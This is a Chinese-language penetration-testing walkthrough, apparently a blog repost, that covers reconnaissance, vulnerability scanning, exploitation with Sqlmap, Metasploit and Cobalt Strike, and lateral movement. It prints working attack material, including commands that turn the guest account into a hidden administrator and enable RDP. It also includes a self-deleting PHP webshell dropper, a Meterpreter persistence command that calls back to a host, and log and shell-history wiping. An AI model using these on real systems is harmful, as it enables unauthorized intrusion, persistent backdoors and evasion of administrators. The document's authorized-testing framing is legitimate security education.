渗透测试基本流程与工具使用指南
渗透测试是模拟黑客攻击以发现系统漏洞的安全评估过程。流程涵盖目标确定、信息收集、漏洞探测、利用、内网渗透、痕迹清除及报告撰写。信息收集包括主机扫描、端口扫描、敏感目录探测、域名信息等。常见漏洞有 SQL 注入、XSS、文件上传等。利用阶段常使用 Sqlmap、Burpsuite 等工具获取权限。内网渗透涉及资产发现与横向移动,需进行权限维持。最后需清除日志痕迹并提交修复建议。文中提及 Nessus、Nmap、AWVS 等工具的应用场景。

渗透测试是模拟黑客攻击以发现系统漏洞的安全评估过程。流程涵盖目标确定、信息收集、漏洞探测、利用、内网渗透、痕迹清除及报告撰写。信息收集包括主机扫描、端口扫描、敏感目录探测、域名信息等。常见漏洞有 SQL 注入、XSS、文件上传等。利用阶段常使用 Sqlmap、Burpsuite 等工具获取权限。内网渗透涉及资产发现与横向移动,需进行权限维持。最后需清除日志痕迹并提交修复建议。文中提及 Nessus、Nmap、AWVS 等工具的应用场景。

渗透测试是通过一些手段来找到网站、APP、网络服务、软件、服务器等网络设备和应用的漏洞,告诉管理员有哪些漏洞,怎么填补,从而防止黑客的入侵。
渗透测试分为 白盒测试 和 黑盒测试:
本文模拟黑客对一个网站进行渗透测试,属于黑盒测试。一般来说,渗透测试的基本流程如下:
确定你的渗透目标是什么。
信息收集是整个渗透测试中最重要的一步,你要把你要攻击的目标全部探测清楚,才能更好的攻击。信息收集的越丰富,内容或情报收集的越多,攻击的成功率就越高。
对目标主机进行扫描,而不仅仅是对网站进行扫描,扫描目标主机开放了哪些端口,扫描端口运行的服务,目标主机上有哪些漏洞。 主机扫描的工具也有很多,比如:Nessus。
需要知道目标服务器开放了哪些端口,常见的如 135、137、138、139、445,这几个端口经常爆发漏洞。以下是一些服务端口的漏洞:
端口扫描工具有 Nmap 和 Masscan。Nmap 扫描的准确性较高,但是扫描的比较慢。Masscan 扫描的比较快,但是准确性较低。
扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏。
提到了网站敏感目录我们就不得不提 robots.txt 文件了。 robots.txt 文件是专门针对搜索引擎机器人 Robot 编写的一个纯文本文件。我们可以在这个文件中指定网站中不想被 Robot 访问的目录。这样,我们网站的部分或全部内容就可以不被搜索引擎收录了,或者让搜索引擎只收录指定的内容。
假如编写的 robots.txt 文件内容如下:
User-agent: *
Disallow: /data/
Disallow: /db/
Disallow: /admin/
Disallow: /manager/
Allow: /images/
其中'Disallow'参数后面的是禁止 Robot 收录部分的路径,例如我们要让 Robot 禁止收录网站目录下的'data'文件夹,只需要在 Disallow 参数后面加上 /data/ 即可。如果想增加其他目录,只需按此格式继续添加。文件编写完成后将其上传到网站的根目录,就可以让网站远离 Google Hack 了。
虽然 robots 文件目的是让搜索蜘蛛不爬取想要保护的页面,但是如果我们知道了 robots 文件的内容的话,我们就可以知道目标网站哪些文件夹不让访问,从侧面说明这些文件夹是很重要的了。
探测目标网站后台目录的工具有:Wwwscan、御剑、Dirbuster、Cansina 等。
旁站指的是同一服务器上的其他网站,很多时候,有些网站可能不是那么容易入侵。那么,可以查看该网站所在的服务器上是否还有其他网站。如果有其他网站的话,可以先拿下其他网站的 Webshell,然后再提权拿到服务器的权限,最后就自然可以拿下该网站了!
对于红蓝对抗和护网,C 段扫描比较有意义。对于单独网站的渗透测试,C 段扫描意义不大。C 段指的是同一内网段内的其他服务器,每个 IP 有 ABCD 四个段,举个例子,192.168.0.1,A 段就是 192,B 段是 168,C 段是 0,D 段是 1,而 C 段嗅探的意思就是拿下它同一 C 段中的其中一台服务器,也就是说是 D 段 1-255 中的一台服务器,然后利用工具嗅探拿下该服务器。
网站漏洞扫描就是直接对网站进行漏洞探测了。网站漏洞扫描也有很多工具。比如 AWVS、AppScan、OWASP-ZAP、Nessus 等等。但是需要注意的是,使用漏扫工具直接对网站进行扫描,因为一下子流量过大,有些网站可能会崩溃。所以一般最好不要使用漏洞扫描工具对网站进行扫描。并且如果未经授权就用漏扫对网站进行扫描还是违法的!
在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为只有识别出相应的 Web 容器或者 CMS,才能查找与其相关的漏洞,然后才能进行相应的渗透操作。CMS 又称整站系统。常见的 CMS 有:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、SiteWeaver、AspCMS、帝国、Z-Blog 等。
常见的网站指纹识别工具有:Whatweb 等。
当确定了公司后,我们可以去互联网上查询与该公司有关的任何信息。比如,公司的邮箱格式,公司的员工姓名,以及与该公司有关的任何信息。并且,我们还可以去 Github、码云等代码托管平台上查找与此有关的敏感信息,有些粗心的程序员在将代码上传至代码托管平台后,并没有对代码进行脱敏处理。导致上传的代码中有包含如数据库连接信息、邮箱密码,还有可能有泄露的源代码等。
当我们确定了要渗透的目标,也就是知道了其域名,接下来我们需要收集域名对应的 IP,域名的 Whois 信息、子域名等等一系列与域名相关的信息。
判断域名对应的 IP:首先,我们要判断该域名是否存在 CDN 的情况,我们可以去在线 CDN 查询网站。如果查询出的 IP 数量大于一个的话,则说明该 IP 地址不是真实的服务器地址。以我的经验来看,如果是 2 个或者 3 个,并且这几个地址是同一地区的不同运营商的话,则很有可能这几个地址是服务器的出口地址,该服务器在内网中,通过不同运营商 NAT 映射供互联网访问,同时采用几个不同的运营商可以负载均衡和热备份。如果是多个 IP 地址,并且这些 IP 地址分布在不同地区的话,则基本上可以断定就是采用了 CDN 了。
域名的 Whois 信息:Whois 是用来查询域名注册所有者等信息的传输协议。简单说,Whois 就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商)。通过 Whois 来实现对域名信息的查询。早期的 Whois 查询多以命令行接口存在,但是现在出现了一些网页接口简化的线上查询工具,可以一次向不同的数据库查询。网页接口的查询工具仍然依赖 Whois 协议向服务器发送查询请求,命令行接口的工具仍然被系统管理员广泛使用。Whois 通常使用 TCP 协议 43 端口。每个域名/IP 的 Whois 信息由对应的管理机构保存。
当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的 Web 漏洞,比如:
这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。
网站漏洞扫描工具也有很多,比如:AWVS、AppScan、Owasp-Zap、Nessus。网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!
当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的 Webshell,我们往往需要结合几个漏洞来拿 Webshell。常用的漏洞利用工具如下:
但是,获得了 Webshell 后,一般权限很低,所以我们需要提权,可以选择反弹一个 MSF 类型的 Shell 提权:Metasploit Framework (MSF) 的使用、Msfvenom 生成一个后门木马,也可以反弹一个 CobaltStrike 类型的 Shell:渗透测试神器 Cobalt Strike 的使用,也可以 MSF 和 CobaltStrike 联动,也可以使用其他提权:Windows 提权、Linux 提权。
当我们获取到了网站的 Webshell 之后,如果我们想获取该主机的有关信息,我们可以将该主机的 Webshell 换成 MSF 的 Shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个 MSF 类型的 Shell 了。
如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的 Webshell 网站的服务器和内网主机进行通信。
当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。
对于 Windows 主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了 Windows 主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活 Guest 用户,然后将其加入 Administrators 组里面,用 Guest 用户身份登录。在 RDP 远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。
从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。
net user guest /active:yes #激活 guest 用户
net localgroup administrators guest /add #将 guest 用户添加到管理员组
net user guest 密码 #更改 guest 用户密码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启 3389 端口
对于 Linux 主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。
在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用 Nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan、御剑高速 TCP 全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用 S 扫描器。在扫描了内网资产和端口开放情况后,对于 445 端口,就可以打一波 MS17_010。但是注意通过代理打 445,和之前的是不一样的。对于 3389 端口,可以打一波 CVE-2019-0708 远程桌面漏洞复现。对于 1433/3306/6379 等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。
在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。
<?php
set_time_limit(0); //程序执行时间
ignore_user_abort(1); //关掉终端后脚本仍然运行
unlink(__FILE__); //文件完整名
while(1){
file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
$b=array_keys($a)[0];
eval($b);?>');
sleep(5);
}
?>
注:以上几种后门方法均能被 D 盾等工具检测到
#反弹时间间隔是 5s 会自动连接 192.168.27 的 4444 端口,缺点是容易被杀毒软件查杀
run persistence -X -i 5 -p 8888 -r 192.168.10.27
#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs,并把该服务加入了注册表中,只要开机就会启动
当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!
我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。
最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。
del %WINDIR%*.log /a/s/q/f
export HISTFILE=/dev/null
export HISTSIZE=0
在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online